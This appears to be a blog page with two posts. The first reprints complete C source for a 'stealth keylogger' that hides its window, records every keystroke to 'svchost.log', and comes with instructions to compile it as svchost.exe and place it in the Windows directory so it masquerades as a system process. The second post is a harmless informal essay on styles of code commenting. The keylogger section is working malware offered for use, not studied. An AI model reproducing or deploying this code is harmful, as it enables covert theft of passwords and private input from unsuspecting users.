Friday, December 31, 2010

Keylogger based on GetAsyncKeyState

/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* *
* File: SVCHOST.c *
* *
* Purpose: a stealth keylogger, writes to file "svchost.log" *
* *
* Usage: compile to svchost.exe, copy to c:\%windir%\ and run it. *
* *
* Copyright (C) 2004 White Scorpion, www.white-scorpion.nl, all rights reserved *
* *
* This program is free software; you can redistribute it and/or *
* modify it under the terms of the GNU General Public License *
* as published by the Free Software Foundation; either version 2 *
* of the License, or (at your option) any later version. *
* *
* This program is distributed in the hope that it will be useful, *
* but WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the *
* GNU General Public License for more details. *
* *
* You should have received a copy of the GNU General Public License *
* along with this program; if not, write to the Free Software *
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. *
* *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */


#include <windows.h>
#include <stdio.h>
#include <winuser.h>
#include <windowsx.h>

#define BUFSIZE 80

int test_key(void);
int create_key(char *);
int get_keys(void);


int main(void)
{
HWND stealth; /*creating stealth (window is not visible)*/
AllocConsole();
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);


int t=get_keys();

return t;
}

int get_keys(void)
{
short character;
while(1)
{
Sleep(10);/*to prevent 100% cpu usage*/
for(character=8;character<=222;character++)
{
if(GetAsyncKeyState(character)==-32767)
{

FILE *file;
file=fopen("svchost.log","a+");
if(file==NULL)
{
return 1;
}
if(file!=NULL)
{
if((character>=39)&&(character<=64))
{
fputc(character,file);
fclose(file);
break;
}
else if((character>64)&&(character<91))
{
character+=32;
fputc(character,file);
fclose(file);
break;
}
else
{
switch(character)
{
case VK_SPACE:
fputc(' ',file);
fclose(file);
break;
case VK_SHIFT:
fputs("[SHIFT]",file);
fclose(file);
break;
case VK_RETURN:
fputs("\n[ENTER]",file);
fclose(file);
break;
case VK_BACK:
fputs("[BACKSPACE]",file);
fclose(file);
break;
case VK_TAB:
fputs("[TAB]",file);
fclose(file);
break;
case VK_CONTROL:
fputs("[CTRL]",file);
fclose(file);
break;
case VK_DELETE:
fputs("[DEL]",file);
fclose(file);
break;
case VK_OEM_1:
fputs("[;:]",file);
fclose(file);
break;
case VK_OEM_2:
fputs("[/?]",file);
fclose(file);
break;
case VK_OEM_3:
fputs("[`~]",file);
fclose(file);
break;
case VK_OEM_4:
fputs("[ [{ ]",file);
fclose(file);
break;
case VK_OEM_5:
fputs("[\\|]",file);
fclose(file);
break;
case VK_OEM_6:
fputs("[ ]} ]",file);
fclose(file);
break;
case VK_OEM_7:
fputs("['\"]",file);
fclose(file);
break;
/*case VK_OEM_PLUS:
fputc('+',file);
fclose(file);
break;
case VK_OEM_COMMA:
fputc(',',file);
fclose(file);
break;
case VK_OEM_MINUS:
fputc('-',file);
fclose(file);
break;
case VK_OEM_PERIOD:
fputc('.',file);
fclose(file);
break;*/
case VK_NUMPAD0:
case VK_NUMPAD1:
case VK_NUMPAD2:
case VK_NUMPAD3:
case VK_NUMPAD4:
case VK_NUMPAD5:
case VK_NUMPAD6:
case VK_NUMPAD7:
case VK_NUMPAD8:
case VK_NUMPAD9:
fputc(character-60,file);
fclose(file);
break;
case VK_CAPITAL:
fputs("[CAPS LOCK]",file);
fclose(file);
break;
default:
fclose(file);
break;
}
}
}
}
}

}
return EXIT_SUCCESS;
}



Taken from http://www.rohitab.com/discuss/topic/36622-c-keylogger/

Tuesday, December 7, 2010

Comments /*in code*/

Best code is the code that is easily readable. But again it is not always possible to write complex logic that way. I such cases your best option is to explain the code in simple English! yup comments were invented for a reason you know :D

There are few philospphies that I have seen people adopting:

1> Comments are for noob
Follower of this philosophy don't write comments at all. I have seen thousands of lines of code without comments. Only place they use comments are obsolete code :(

This makes code hard to understand and hard to maintain. Always remember the maintainability of the code takes precedence over readability and writability.

2> Comments for everything
This is some thing that my instructor in university wanted from us. Though this philosophy has it's own issues. I would recommend that all the instructors adopt this philosophy. This way kids are trained not to skip comments when they are under pressure.

In professional environment this is not that great an idea. Sometime the green block of code takes too much attention. This makes code hard to read as well. There is a very big fat line between the first 2 categories and one should always reside on that line :)

3>Comments are for coder
This is most popular style people adopt. Developers use comments where the logic is so complex that even the write of the code got confused. So he wrote some comments so that he can recall the magic used there when he reads the comment.

There are 2 issues here. First is that the usually the code could have been broken down in simpler sub sections. Second issue is that why didn't developer think of simpler logic in the first place :D

4> Write code for human beings, not machines
This is perhaps the most efficient way of writing comments. Always write code for a human reader. The machine will eventually understand you code once it is compiled. But there is no software that will make your code readable for a human reader. BTW I think this is an excellent idea for a product :P

If your code is not readable... and there is nothing you can do to make it human reader write comments to make it readable :)